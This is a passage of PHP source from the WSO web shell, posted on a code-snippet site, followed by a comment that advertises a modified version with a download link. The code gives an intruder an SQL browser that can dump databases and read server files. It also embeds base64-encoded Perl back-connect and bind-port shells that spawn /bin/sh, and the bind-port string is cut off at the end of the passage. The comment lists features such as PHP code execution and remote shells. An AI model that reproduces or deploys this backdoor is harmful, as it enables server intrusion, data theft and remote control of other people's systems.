  1267. $db->selectdb($_POST['sql_base']);
  1268. switch($_POST['charset']) {
  1269. case "Windows-1251": $db->setCharset('cp1251'); break;
  1270. case "UTF-8": $db->setCharset('utf8'); break;
  1271. case "KOI8-R": $db->setCharset('koi8r'); break;
  1272. case "KOI8-U": $db->setCharset('koi8u'); break;
  1273. case "cp866": $db->setCharset('cp866'); break;
  1274. }
  1275. if(empty($_POST['file'])) {
  1276. ob_start("ob_gzhandler", 4096);
  1277. header("Content-Disposition: attachment; filename=dump.sql");
  1278. header("Content-Type: text/plain");
  1279. foreach($_POST['tbl'] as $v)
  1280. $db->dump($v);
  1281. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1282. foreach($_POST['tbl'] as $v)
  1283. $db->dump($v, $fp);
  1284. fclose($fp);
  1285. unset($_POST['p2']);
  1286. } else
  1287. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1288. }
  1289. wsoHeader();
  1290. echo "
  1291. <h1>Sql browser</h1><div class=content>
  1292. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1293. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1294. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1295. <td><select name='type'><option value='mysql' ";
  1296. if(@$_POST['type']=='mysql')echo 'selected';
  1297. echo ">MySql</option><option value='pgsql' ";
  1298. if(@$_POST['type']=='pgsql')echo 'selected';
  1299. echo ">PostgreSql</option></select></td>
  1300. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1301. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1302. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1303. $tmp = "<input type=text name=sql_base value=''>";
  1304. if(isset($_POST['sql_host'])){
  1305. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1306. switch($_POST['charset']) {
  1307. case "Windows-1251": $db->setCharset('cp1251'); break;
  1308. case "UTF-8": $db->setCharset('utf8'); break;
  1309. case "KOI8-R": $db->setCharset('koi8r'); break;
  1310. case "KOI8-U": $db->setCharset('koi8u'); break;
  1311. case "cp866": $db->setCharset('cp866'); break;
  1312. }
  1313. $db->listDbs();
  1314. echo "<select name=sql_base><option value=''></option>";
  1315. while($item = $db->fetch()) {
  1316. list($key, $value) = each($item);
  1317. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1318. }
  1319. echo '</select>';
  1320. }
  1321. else echo $tmp;
  1322. }else
  1323. echo $tmp;
  1324. echo "</td>
  1325. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1326. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1327. </tr>
  1328. </table>
  1329. <script>
  1330. s_db='"[email protected]addslashes($_POST['sql_base'])."';
  1331. function fs(f) {
  1332. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1333. if(f.p1) f.p1.value='';
  1334. if(f.p2) f.p2.value='';
  1335. if(f.p3) f.p3.value='';
  1336. }
  1337. }
  1338. function st(t,l) {
  1339. d.sf.p1.value = 'select';
  1340. d.sf.p2.value = t;
  1341. if(l && d.sf.p3) d.sf.p3.value = l;
  1342. d.sf.submit();
  1343. }
  1344. function is() {
  1345. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1346. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1347. }
  1348. </script>";
  1349. if(isset($db) && $db->link){
  1350. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1351. if(!empty($_POST['sql_base'])){
  1352. $db->selectdb($_POST['sql_base']);
  1353. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1354. $tbls_res = $db->listTables();
  1355. while($item = $db->fetch($tbls_res)) {
  1356. list($key, $value) = each($item);
  1357. if(!empty($_POST['sql_count']))
  1358. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1359. $value = htmlspecialchars($value);
  1360. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1361. }
  1362. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1363. if(@$_POST['p1'] == 'select') {
  1364. $_POST['p1'] = 'query';
  1365. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1366. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1367. $num = $db->fetch();
  1368. $pages = ceil($num['n'] / 30);
  1369. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1370. echo " of $pages";
  1371. if($_POST['p3'] > 1)
  1372. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1373. if($_POST['p3'] < $pages)
  1374. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1375. $_POST['p3']--;
  1376. if($_POST['type']=='pgsql')
  1377. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1378. else
  1379. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1380. echo "<br><br>";
  1381. }
  1382. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1383. $db->query(@$_POST['p2']);
  1384. if($db->res !== false) {
  1385. $title = false;
  1386. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1387. $line = 1;
  1388. while($item = $db->fetch()) {
  1389. if(!$title) {
  1390. echo '<tr>';
  1391. foreach($item as $key => $value)
  1392. echo '<th>'.$key.'</th>';
  1393. reset($item);
  1394. $title=true;
  1395. echo '</tr><tr>';
  1396. $line = 2;
  1397. }
  1398. echo '<tr class="l'.$line.'">';
  1399. $line = $line==1?2:1;
  1400. foreach($item as $key => $value) {
  1401. if($value == null)
  1402. echo '<td><i>null</i></td>';
  1403. else
  1404. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1405. }
  1406. echo '</tr>';
  1407. }
  1408. echo '</table>';
  1409. } else {
  1410. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1411. }
  1412. }
  1413. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1414. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1415. echo htmlspecialchars($_POST['p2']);
  1416. echo "</textarea><br/><input type=submit value='Execute'>";
  1417. echo "</td></tr>";
  1418. }
  1419. echo "</table></form><br/>";
  1420. if($_POST['type']=='mysql') {
  1421. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1422. if($db->fetch())
  1423. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1424. }
  1425. if(@$_POST['p1'] == 'loadfile') {
  1426. $file = $db->loadFile($_POST['p2']);
  1427. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1428. }
  1429. } else {
  1430. echo htmlspecialchars($db->error());
  1431. }
  1432. echo '</div>';
  1433. wsoFooter();
  1434. }
  1435. function actionNetwork() {
  1436. wsoHeader();
  1437. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1438. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW

Report this snippet  

Comments

RSS Icon Subscribe to comments
Posted By: del007 on April 16, 2014

new modification version //// pass archive wso Opportunity Description / features: Authorization for cookies Information about the server File Manager (copy, rename, move, delete, chmod , touch , creating files and folders) View , hexview, editing, downloading, uploading files Work with zip archives ( packing, unpacking ) + compression tar.gz console SQL Manager (MySql, PostgreSql) PHP code execution Working with Strings + hash search online databases Bindport and back- Connect (Perl) Search files, search for text in files Support for * nix-like and Windows systems You can use AJAX Small size. Packaged version takes 22.8 Kb Choice of encoding , which works . http://myfolder.ru/files/40408915

You need to login to post a comment.